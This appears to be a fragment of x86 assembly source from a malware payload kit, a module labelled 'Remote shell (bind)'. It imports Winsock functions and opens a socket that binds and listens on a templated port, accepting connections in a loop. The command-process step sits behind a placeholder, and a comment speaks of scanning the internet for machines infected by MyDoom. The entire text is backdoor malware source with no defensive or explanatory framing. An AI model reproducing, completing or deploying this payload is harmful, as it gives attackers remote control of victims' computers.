;%%%5 1 SHEL Remote shell (bind)

;###LoadLibraryA
;###CreateThread
;###CreateProcessA
;###GetEnvironmentVariableA

;open remote shell (NT4+ only)

payload:
	pushad

;setup stuff

	call @@apiimport
	API WSAStartup
	API WSASocketA
	API bind
	API listen
	API accept
	dd -1
  @@apiimport:
  	pop esi

;$$$SETT


;scan internet in search for machines infected by mydoom

shell_thread:
	xor esi, esi
	push esi
	push esi
	push esi
	push esi
	push 1
	push 2
	call delta
	call [ebp+_WSASocketA]
	mov ebx,eax

	push esi
	push esi
	push esi
      	mov eax, %s
      	xchg al,ah
      	shl eax,16
      	mov ax,2
      	push eax
      	mov eax,esp

      	push 16
      	push eax
      	push ebx
	call [ebp+_bind]
	add esp,4*4

	push 16
	push ebx
	call [ebp+_listen]

  @@wait4connection:
	push esi
	push esi
	push ebx
	call [ebp+_accept]
	push ebx
	mov edi,esp
	xchg eax,ebx

;$$$CPRO

	mov esp,edi
	pop ebx
	jmp @@wait4connection
